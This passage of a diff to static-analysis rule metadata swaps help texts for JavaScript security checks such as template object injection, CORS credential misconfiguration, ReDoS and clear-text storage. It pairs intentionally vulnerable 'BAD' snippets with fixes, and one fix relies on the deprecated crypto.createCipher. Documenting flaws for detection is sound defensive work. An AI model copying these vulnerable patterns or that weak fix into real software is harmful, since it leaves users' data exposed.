-            "markdown" : "# Cross-window communication with unrestricted target origin\nThe `window.postMessage` method allows different windows or iframes to communicate directly, even if they were loaded from different origins, circumventing the usual same-origin policy.\n\nThe sender of the message can restrict the origin of the receiver by specifying a target origin. If the receiver window does not come from this origin, the message is not sent.\n\nAlternatively, the sender can specify a target origin of `'*'`, which means that any origin is acceptable and the message is always sent.\n\nThis feature should not be used if the message being sent contains sensitive data such as user credentials: the target window may have been loaded from a malicious site, to which the data would then become available.\n\n\n## Recommendation\nIf possible, specify a target origin when using `window.postMessage`. Alternatively, encrypt the sensitive data before sending it to prevent an unauthorized receiver from accessing it.\n\n\n## Example\nThe following example code sends user credentials (in this case, their user name) to `window.parent` without checking its origin. If a malicious site loads the page containing this code into an iframe it would be able to gain access to the user name.\n\n\n```javascript\nwindow.parent.postMessage(userName, '*');\n\n```\nTo prevent this from happening, the origin of the target window should be restricted, as in this example:\n\n\n```javascript\nwindow.parent.postMessage(userName, 'https://github.com');\n\n```\n\n## References\n* Mozilla Developer Network: [Window.postMessage](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage).\n* Mozilla Developer Network: [Same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy).\n* Common Weakness Enumeration: [CWE-201](https://cwe.mitre.org/data/definitions/201.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n"
+            "text" : "# Template Object Injection\nDirectly using user-controlled objects as arguments to template engines might allow an attacker to do local file reads or even remote code execution.\n\n\n## Recommendation\nAvoid using user-controlled objects as arguments to a template engine. Instead, construct the object explicitly with the specific properties needed by the template.\n\n\n## Example\nIn the example below a server uses the user-controlled `profile` object to render the `index` template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n    var profile = req.body.profile;\n    res.render('index', profile);\n});\n```\nHowever, if an attacker adds a `layout` property to the `profile` object then the server will load the file specified by the `layout` property, thereby allowing an attacker to do local file reads.\n\nThe fix is to have the server construct the object, and only add the properties that are needed by the template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n    var profile = req.body.profile;\n    res.render('index', {\n        name: profile.name,\n        location: profile.location\n    });\n});\n```\n\n## References\n* blog.shoebpatel.com: [The Secret Parameter, LFR, and Potential RCE in NodeJS Apps](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/).\n* cwe.mitre.org: [CWE-73: External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n",
+            "markdown" : "# Template Object Injection\nDirectly using user-controlled objects as arguments to template engines might allow an attacker to do local file reads or even remote code execution.\n\n\n## Recommendation\nAvoid using user-controlled objects as arguments to a template engine. Instead, construct the object explicitly with the specific properties needed by the template.\n\n\n## Example\nIn the example below a server uses the user-controlled `profile` object to render the `index` template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n    var profile = req.body.profile;\n    res.render('index', profile);\n});\n```\nHowever, if an attacker adds a `layout` property to the `profile` object then the server will load the file specified by the `layout` property, thereby allowing an attacker to do local file reads.\n\nThe fix is to have the server construct the object, and only add the properties that are needed by the template.\n\n\n```javascript\nvar app = require('express')();\napp.set('view engine', 'hbs');\n\napp.post('/', function (req, res, next) {\n    var profile = req.body.profile;\n    res.render('index', {\n        name: profile.name,\n        location: profile.location\n    });\n});\n```\n\n## References\n* blog.shoebpatel.com: [The Secret Parameter, LFR, and Potential RCE in NodeJS Apps](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/).\n* cwe.mitre.org: [CWE-73: External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-201", "external/cwe/cwe-359" ],
-            "description" : "When sending sensitive information to another window using `postMessage`,\n              the origin of the target window should be restricted to avoid unintentional\n              information leaks.",
-            "id" : "js/cross-window-information-leak",
+            "tags" : [ "security", "external/cwe/cwe-073", "external/cwe/cwe-094" ],
+            "description" : "Instantiating a template using a user-controlled object is vulnerable to local file read and potential remote code execution.",
+            "id" : "js/template-object-injection",
             "kind" : "path-problem",
-            "name" : "Cross-window communication with unrestricted target origin",
+            "name" : "Template Object Injection",
             "precision" : "high",
             "problem.severity" : "error",
-            "security-severity" : "4.3"
+            "security-severity" : "9.3"
           }
         }, {
-          "id" : "js/cors-misconfiguration-for-credentials",
-          "name" : "js/cors-misconfiguration-for-credentials",
+          "id" : "js/build-artifact-leak",
+          "name" : "js/build-artifact-leak",
           "shortDescription" : {
-            "text" : "CORS misconfiguration for credentials transfer"
+            "text" : "Storage of sensitive information in build artifact"
           },
           "fullDescription" : {
-            "text" : "Misconfiguration of CORS HTTP headers allows for leaks of secret credentials."
+            "text" : "Including sensitive information in a build artifact can expose it to an attacker."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# CORS misconfiguration for credentials transfer\nA server can send the `\"Access-Control-Allow-Credentials\"` CORS header to control when a browser may send user credentials in Cross-Origin HTTP requests.\n\nWhen the `Access-Control-Allow-Credentials` header is `\"true\"`, the `Access-Control-Allow-Origin` header must have a value different from `\"*\"` in order to make browsers accept the header. Therefore, to allow multiple origins for Cross-Origin requests with credentials, the server must dynamically compute the value of the `\"Access-Control-Allow-Origin\"` header. Computing this header value from information in the request to the server can therefore potentially allow an attacker to control the origins that the browser sends credentials to.\n\n\n## Recommendation\nWhen the `Access-Control-Allow-Credentials` header value is `\"true\"`, a dynamic computation of the `Access-Control-Allow-Origin` header must involve sanitization if it relies on user-controlled input.\n\nSince the `\"null\"` origin is easy to obtain for an attacker, it is never safe to use `\"null\"` as the value of the `Access-Control-Allow-Origin` header when the `Access-Control-Allow-Credentials` header value is `\"true\"`.\n\n\n## Example\nIn the example below, the server allows the browser to send user credentials in a Cross-Origin request. The request header `origins` controls the allowed origins for such a Cross-Origin request.\n\n\n```javascript\nvar https = require('https'),\n    url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n    let origin = url.parse(req.url, true).query.origin;\n     // BAD: attacker can choose the value of origin\n    res.setHeader(\"Access-Control-Allow-Origin\", origin);\n    res.setHeader(\"Access-Control-Allow-Credentials\", true);\n\n    // ...\n});\n\n```\nThis is not secure, since an attacker can choose the value of the `origin` request header to make the browser send credentials to their own server. The use of a whitelist containing allowed origins for the Cross-Origin request fixes the issue:\n\n\n```javascript\nvar https = require('https'),\n    url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n    let origin = url.parse(req.url, true).query.origin,\n        whitelist = {\n            \"https://example.com\": true,\n            \"https://subdomain.example.com\": true,\n            \"https://example.com:1337\": true\n        };\n\n    if (origin in whitelist) {\n        // GOOD: the origin is in the whitelist\n        res.setHeader(\"Access-Control-Allow-Origin\", origin);\n        res.setHeader(\"Access-Control-Allow-Credentials\", true);\n    }\n\n    // ...\n});\n\n```\n\n## References\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin).\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials).\n* PortSwigger: [Exploiting CORS Misconfigurations for Bitcoins and Bounties](http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html)\n* W3C: [CORS for developers, Advice for Resource Owners](https://w3c.github.io/webappsec-cors-for-developers/#resources)\n* Common Weakness Enumeration: [CWE-346](https://cwe.mitre.org/data/definitions/346.html).\n* Common Weakness Enumeration: [CWE-639](https://cwe.mitre.org/data/definitions/639.html).\n* Common Weakness Enumeration: [CWE-942](https://cwe.mitre.org/data/definitions/942.html).\n",
-            "markdown" : "# CORS misconfiguration for credentials transfer\nA server can send the `\"Access-Control-Allow-Credentials\"` CORS header to control when a browser may send user credentials in Cross-Origin HTTP requests.\n\nWhen the `Access-Control-Allow-Credentials` header is `\"true\"`, the `Access-Control-Allow-Origin` header must have a value different from `\"*\"` in order to make browsers accept the header. Therefore, to allow multiple origins for Cross-Origin requests with credentials, the server must dynamically compute the value of the `\"Access-Control-Allow-Origin\"` header. Computing this header value from information in the request to the server can therefore potentially allow an attacker to control the origins that the browser sends credentials to.\n\n\n## Recommendation\nWhen the `Access-Control-Allow-Credentials` header value is `\"true\"`, a dynamic computation of the `Access-Control-Allow-Origin` header must involve sanitization if it relies on user-controlled input.\n\nSince the `\"null\"` origin is easy to obtain for an attacker, it is never safe to use `\"null\"` as the value of the `Access-Control-Allow-Origin` header when the `Access-Control-Allow-Credentials` header value is `\"true\"`.\n\n\n## Example\nIn the example below, the server allows the browser to send user credentials in a Cross-Origin request. The request header `origins` controls the allowed origins for such a Cross-Origin request.\n\n\n```javascript\nvar https = require('https'),\n    url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n    let origin = url.parse(req.url, true).query.origin;\n     // BAD: attacker can choose the value of origin\n    res.setHeader(\"Access-Control-Allow-Origin\", origin);\n    res.setHeader(\"Access-Control-Allow-Credentials\", true);\n\n    // ...\n});\n\n```\nThis is not secure, since an attacker can choose the value of the `origin` request header to make the browser send credentials to their own server. The use of a whitelist containing allowed origins for the Cross-Origin request fixes the issue:\n\n\n```javascript\nvar https = require('https'),\n    url = require('url');\n\nvar server = https.createServer(function(){});\n\nserver.on('request', function(req, res) {\n    let origin = url.parse(req.url, true).query.origin,\n        whitelist = {\n            \"https://example.com\": true,\n            \"https://subdomain.example.com\": true,\n            \"https://example.com:1337\": true\n        };\n\n    if (origin in whitelist) {\n        // GOOD: the origin is in the whitelist\n        res.setHeader(\"Access-Control-Allow-Origin\", origin);\n        res.setHeader(\"Access-Control-Allow-Credentials\", true);\n    }\n\n    // ...\n});\n\n```\n\n## References\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin).\n* Mozilla Developer Network: [CORS, Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials).\n* PortSwigger: [Exploiting CORS Misconfigurations for Bitcoins and Bounties](http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html)\n* W3C: [CORS for developers, Advice for Resource Owners](https://w3c.github.io/webappsec-cors-for-developers/#resources)\n* Common Weakness Enumeration: [CWE-346](https://cwe.mitre.org/data/definitions/346.html).\n* Common Weakness Enumeration: [CWE-639](https://cwe.mitre.org/data/definitions/639.html).\n* Common Weakness Enumeration: [CWE-942](https://cwe.mitre.org/data/definitions/942.html).\n"
+            "text" : "# Storage of sensitive information in build artifact\nSensitive information included in a build artifact can allow an attacker to access the sensitive information if the artifact is published.\n\n\n## Recommendation\nOnly store information that is meant to be publicly available in a build artifact.\n\n\n## Example\nThe following example creates a `webpack` configuration that inserts all environment variables from the host into the build artifact:\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n    plugins: [\n        new webpack.DefinePlugin({\n            \"process.env\": JSON.stringify(process.env)\n        })\n    ]\n}];\n```\nThe environment variables might include API keys or other sensitive information, and the build-system should instead insert only the environment variables that are supposed to be public.\n\nThe issue has been fixed below, where only the `DEBUG` environment variable is inserted into the artifact.\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n    plugins: [\n        new webpack.DefinePlugin({\n            'process.env': JSON.stringify({ DEBUG: process.env.DEBUG })\n        })\n    ]\n}];\n\n```\n\n## References\n* webpack: [DefinePlugin API](https://webpack.js.org/plugins/define-plugin/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n",
+            "markdown" : "# Storage of sensitive information in build artifact\nSensitive information included in a build artifact can allow an attacker to access the sensitive information if the artifact is published.\n\n\n## Recommendation\nOnly store information that is meant to be publicly available in a build artifact.\n\n\n## Example\nThe following example creates a `webpack` configuration that inserts all environment variables from the host into the build artifact:\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n    plugins: [\n        new webpack.DefinePlugin({\n            \"process.env\": JSON.stringify(process.env)\n        })\n    ]\n}];\n```\nThe environment variables might include API keys or other sensitive information, and the build-system should instead insert only the environment variables that are supposed to be public.\n\nThe issue has been fixed below, where only the `DEBUG` environment variable is inserted into the artifact.\n\n\n```javascript\nconst webpack = require(\"webpack\");\n\nmodule.exports = [{\n    plugins: [\n        new webpack.DefinePlugin({\n            'process.env': JSON.stringify({ DEBUG: process.env.DEBUG })\n        })\n    ]\n}];\n\n```\n\n## References\n* webpack: [DefinePlugin API](https://webpack.js.org/plugins/define-plugin/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-346", "external/cwe/cwe-639", "external/cwe/cwe-942" ],
-            "description" : "Misconfiguration of CORS HTTP headers allows for leaks of secret credentials.",
-            "id" : "js/cors-misconfiguration-for-credentials",
+            "tags" : [ "security", "external/cwe/cwe-312", "external/cwe/cwe-315", "external/cwe/cwe-359" ],
+            "description" : "Including sensitive information in a build artifact can\n              expose it to an attacker.",
+            "id" : "js/build-artifact-leak",
             "kind" : "path-problem",
-            "name" : "CORS misconfiguration for credentials transfer",
+            "name" : "Storage of sensitive information in build artifact",
             "precision" : "high",
             "problem.severity" : "error",
             "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/server-crash",
-          "name" : "js/server-crash",
+          "id" : "js/clear-text-logging",
+          "name" : "js/clear-text-logging",
           "shortDescription" : {
-            "text" : "Server crash"
+            "text" : "Clear-text logging of sensitive information"
           },
           "fullDescription" : {
-            "text" : "A server that can be forced to crash may be vulnerable to denial-of-service attacks."
+            "text" : "Logging sensitive information without encryption or hashing can expose it to an attacker."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "warning"
+            "level" : "error"
           },
           "help" : {
-            "text" : "# Server crash\nServers handle requests from clients until terminated deliberately by a server administrator. A client request that results in an uncaught server-side exception causes the current server response generation to fail, and should not have an effect on subsequent client requests.\n\nUnder some circumstances, uncaught exceptions can however cause the entire server to terminate abruptly. Such a behavior is highly undesirable, especially if it gives malicious users the ability to turn off the server at will, which is an efficient denial-of-service attack.\n\n\n## Recommendation\nEnsure that the processing of client requests can not cause uncaught exceptions to terminate the entire server abruptly.\n\n\n## Example\nThe following server code checks if a client-provided file path is valid before saving data to that path. It would be reasonable to expect that the server responds with an error in case the request contains an invalid file path. However, the server instead throws an exception, which is uncaught in the context of the asynchronous callback invocation (`fs.access(...)`). This causes the entire server to terminate abruptly.\n\n\n```javascript\nconst express = require(\"express\"),\n  fs = require(\"fs\");\n\nfunction save(rootDir, path, content) {\n  if (!isValidPath(rootDir, req.query.filePath)) {\n    throw new Error(`Invalid filePath: ${req.query.filePath}`); // BAD crashes the server\n  }\n  // write content to disk\n}\n\nexpress().post(\"/save\", (req, res) => {\n  fs.access(rootDir, (err) => {\n    if (err) {\n      console.error(\n        `Server setup is corrupted, ${rootDir} cannot be accessed!`\n      );\n      res.status(500);\n      res.end();\n      return;\n    }\n    save(rootDir, req.query.path, req.body);\n    res.status(200);\n    res.end();\n  });\n});\n\n```\nTo remedy this, the server can catch the exception explicitly with a `try/catch` block, and generate an appropriate error response instead:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", (req, res) => {\n  fs.access(rootDir, (err) => {\n    // ...\n    try {\n      save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n      res.status(200);\n      res.end();\n    } catch (e) {\n      res.status(500);\n      res.end();\n    }\n  });\n});\n\n```\nTo simplify exception handling, it may be advisable to switch to async/await syntax instead of using callbacks, which allows wrapping the entire request handler in a `try/catch` block:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", async (req, res) => {\n  try {\n    await fs.promises.access(rootDir);\n    save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n    res.status(200);\n    res.end();\n  } catch (e) {\n    res.status(500);\n    res.end();\n  }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-248](https://cwe.mitre.org/data/definitions/248.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n",
-            "markdown" : "# Server crash\nServers handle requests from clients until terminated deliberately by a server administrator. A client request that results in an uncaught server-side exception causes the current server response generation to fail, and should not have an effect on subsequent client requests.\n\nUnder some circumstances, uncaught exceptions can however cause the entire server to terminate abruptly. Such a behavior is highly undesirable, especially if it gives malicious users the ability to turn off the server at will, which is an efficient denial-of-service attack.\n\n\n## Recommendation\nEnsure that the processing of client requests can not cause uncaught exceptions to terminate the entire server abruptly.\n\n\n## Example\nThe following server code checks if a client-provided file path is valid before saving data to that path. It would be reasonable to expect that the server responds with an error in case the request contains an invalid file path. However, the server instead throws an exception, which is uncaught in the context of the asynchronous callback invocation (`fs.access(...)`). This causes the entire server to terminate abruptly.\n\n\n```javascript\nconst express = require(\"express\"),\n  fs = require(\"fs\");\n\nfunction save(rootDir, path, content) {\n  if (!isValidPath(rootDir, req.query.filePath)) {\n    throw new Error(`Invalid filePath: ${req.query.filePath}`); // BAD crashes the server\n  }\n  // write content to disk\n}\n\nexpress().post(\"/save\", (req, res) => {\n  fs.access(rootDir, (err) => {\n    if (err) {\n      console.error(\n        `Server setup is corrupted, ${rootDir} cannot be accessed!`\n      );\n      res.status(500);\n      res.end();\n      return;\n    }\n    save(rootDir, req.query.path, req.body);\n    res.status(200);\n    res.end();\n  });\n});\n\n```\nTo remedy this, the server can catch the exception explicitly with a `try/catch` block, and generate an appropriate error response instead:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", (req, res) => {\n  fs.access(rootDir, (err) => {\n    // ...\n    try {\n      save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n      res.status(200);\n      res.end();\n    } catch (e) {\n      res.status(500);\n      res.end();\n    }\n  });\n});\n\n```\nTo simplify exception handling, it may be advisable to switch to async/await syntax instead of using callbacks, which allows wrapping the entire request handler in a `try/catch` block:\n\n\n```javascript\n// ...\nexpress().post(\"/save\", async (req, res) => {\n  try {\n    await fs.promises.access(rootDir);\n    save(rootDir, req.query.path, req.body); // GOOD exception is caught below\n    res.status(200);\n    res.end();\n  } catch (e) {\n    res.status(500);\n    res.end();\n  }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-248](https://cwe.mitre.org/data/definitions/248.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n"
+            "text" : "# Clear-text logging of sensitive information\nIf sensitive data is written to a log entry it could be exposed to an attacker who gains access to the logs.\n\nPotential attackers can obtain sensitive user data when the log output is displayed. Additionally that data may expose system information such as full path names, system information, and sometimes usernames and passwords.\n\n\n## Recommendation\nSensitive data should not be logged.\n\n\n## Example\nIn the example the entire process environment is logged using \\`console.info\\`. Regular users of the production deployed application should not have access to this much information about the environment configuration.\n\n\n```javascript\n// BAD: Logging cleartext sensitive data\nconsole.info(`[INFO] Environment: ${process.env}`);\n```\nIn the second example the data that is logged is not sensitive.\n\n\n```javascript\nlet not_sensitive_data = { a: 1, b : 2} \n// GOOD: it is fine to log data that is not sensitive\nconsole.info(`[INFO] Some object contains: ${not_sensitive_data}`);\n```\n\n## References\n* OWASP: [Insertion of Sensitive Information into Log File](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n* Common Weakness Enumeration: [CWE-532](https://cwe.mitre.org/data/definitions/532.html).\n",
+            "markdown" : "# Clear-text logging of sensitive information\nIf sensitive data is written to a log entry it could be exposed to an attacker who gains access to the logs.\n\nPotential attackers can obtain sensitive user data when the log output is displayed. Additionally that data may expose system information such as full path names, system information, and sometimes usernames and passwords.\n\n\n## Recommendation\nSensitive data should not be logged.\n\n\n## Example\nIn the example the entire process environment is logged using \\`console.info\\`. Regular users of the production deployed application should not have access to this much information about the environment configuration.\n\n\n```javascript\n// BAD: Logging cleartext sensitive data\nconsole.info(`[INFO] Environment: ${process.env}`);\n```\nIn the second example the data that is logged is not sensitive.\n\n\n```javascript\nlet not_sensitive_data = { a: 1, b : 2} \n// GOOD: it is fine to log data that is not sensitive\nconsole.info(`[INFO] Some object contains: ${not_sensitive_data}`);\n```\n\n## References\n* OWASP: [Insertion of Sensitive Information into Log File](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n* Common Weakness Enumeration: [CWE-532](https://cwe.mitre.org/data/definitions/532.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-248", "external/cwe/cwe-730" ],
-            "description" : "A server that can be forced to crash may be vulnerable to denial-of-service\n              attacks.",
-            "id" : "js/server-crash",
+            "tags" : [ "security", "external/cwe/cwe-312", "external/cwe/cwe-359", "external/cwe/cwe-532" ],
+            "description" : "Logging sensitive information without encryption or hashing can\n              expose it to an attacker.",
+            "id" : "js/clear-text-logging",
             "kind" : "path-problem",
-            "name" : "Server crash",
+            "name" : "Clear-text logging of sensitive information",
             "precision" : "high",
-            "problem.severity" : "warning",
+            "problem.severity" : "error",
             "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/regex-injection",
-          "name" : "js/regex-injection",
+          "id" : "js/clear-text-storage-of-sensitive-data",
+          "name" : "js/clear-text-storage-of-sensitive-data",
           "shortDescription" : {
-            "text" : "Regular expression injection"
+            "text" : "Clear text storage of sensitive information"
           },
           "fullDescription" : {
-            "text" : "User input should not be used in regular expressions without first being escaped, otherwise a malicious user may be able to inject an expression that could require exponential time on certain inputs."
+            "text" : "Sensitive information stored without encryption or hashing can expose it to an attacker."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# Regular expression injection\nConstructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack.\n\n\n## Recommendation\nBefore embedding user input into a regular expression, use a sanitization function such as lodash's `_.escapeRegExp` to escape meta-characters that have special meaning.\n\n\n## Example\nThe following example shows a HTTP request parameter that is used to construct a regular expression without sanitizing it first:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n  var key = req.param(\"key\"), input = req.param(\"input\");\n\n  // BAD: Unsanitized user input is used to construct a regular expression\n  var re = new RegExp(\"\\\\b\" + key + \"=(.*)\\n\");\n});\n\n```\nInstead, the request parameter should be sanitized first, for example using the function `_.escapeRegExp` from the lodash package. This ensures that the user cannot insert characters which have a special meaning in regular expressions.\n\n\n```javascript\nvar express = require('express');\nvar _ = require('lodash');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n  var key = req.param(\"key\"), input = req.param(\"input\");\n\n  // GOOD: User input is sanitized before constructing the regex\n  var safeKey = _.escapeRegExp(key);\n  var re = new RegExp(\"\\\\b\" + safeKey + \"=(.*)\\n\");\n});\n\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* npm: [lodash](https://www.npmjs.com/package/lodash).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n",
-            "markdown" : "# Regular expression injection\nConstructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack.\n\n\n## Recommendation\nBefore embedding user input into a regular expression, use a sanitization function such as lodash's `_.escapeRegExp` to escape meta-characters that have special meaning.\n\n\n## Example\nThe following example shows a HTTP request parameter that is used to construct a regular expression without sanitizing it first:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n  var key = req.param(\"key\"), input = req.param(\"input\");\n\n  // BAD: Unsanitized user input is used to construct a regular expression\n  var re = new RegExp(\"\\\\b\" + key + \"=(.*)\\n\");\n});\n\n```\nInstead, the request parameter should be sanitized first, for example using the function `_.escapeRegExp` from the lodash package. This ensures that the user cannot insert characters which have a special meaning in regular expressions.\n\n\n```javascript\nvar express = require('express');\nvar _ = require('lodash');\nvar app = express();\n\napp.get('/findKey', function(req, res) {\n  var key = req.param(\"key\"), input = req.param(\"input\");\n\n  // GOOD: User input is sanitized before constructing the regex\n  var safeKey = _.escapeRegExp(key);\n  var re = new RegExp(\"\\\\b\" + safeKey + \"=(.*)\\n\");\n});\n\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* npm: [lodash](https://www.npmjs.com/package/lodash).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"
+            "text" : "# Clear text storage of sensitive information\nSensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user.\n\n\n## Recommendation\nEnsure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information.\n\nIn general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext.\n\nBe aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well.\n\n\n## Example\nThe following example code stores user credentials (in this case, their password) in a cookie in plain text:\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n  let pw = req.param(\"current_password\");\n  // BAD: Setting a cookie value with cleartext sensitive data.\n  res.cookie(\"password\", pw);\n});\n\n```\nInstead, the credentials should be encrypted, for instance by using the Node.js `crypto` module:\n\n\n```javascript\nvar express = require('express');\nvar crypto = require('crypto'),\n    password = getPassword();\n\nfunction encrypt(text){\n  var cipher = crypto.createCipher('aes-256-ctr', password);\n  return cipher.update(text, 'utf8', 'hex') + cipher.final('hex');\n}\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n  let pw = req.param(\"current_password\");\n  // GOOD: Encoding the value before setting it.\n  res.cookie(\"password\", encrypt(pw));\n});\n\n```\n\n## References\n* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006.\n* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002.\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n",
+            "markdown" : "# Clear text storage of sensitive information\nSensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user.\n\n\n## Recommendation\nEnsure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information.\n\nIn general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext.\n\nBe aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well.\n\n\n## Example\nThe following example code stores user credentials (in this case, their password) in a cookie in plain text:\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n  let pw = req.param(\"current_password\");\n  // BAD: Setting a cookie value with cleartext sensitive data.\n  res.cookie(\"password\", pw);\n});\n\n```\nInstead, the credentials should be encrypted, for instance by using the Node.js `crypto` module:\n\n\n```javascript\nvar express = require('express');\nvar crypto = require('crypto'),\n    password = getPassword();\n\nfunction encrypt(text){\n  var cipher = crypto.createCipher('aes-256-ctr', password);\n  return cipher.update(text, 'utf8', 'hex') + cipher.final('hex');\n}\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n  let pw = req.param(\"current_password\");\n  // GOOD: Encoding the value before setting it.\n  res.cookie(\"password\", encrypt(pw));\n});\n\n```\n\n## References\n* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 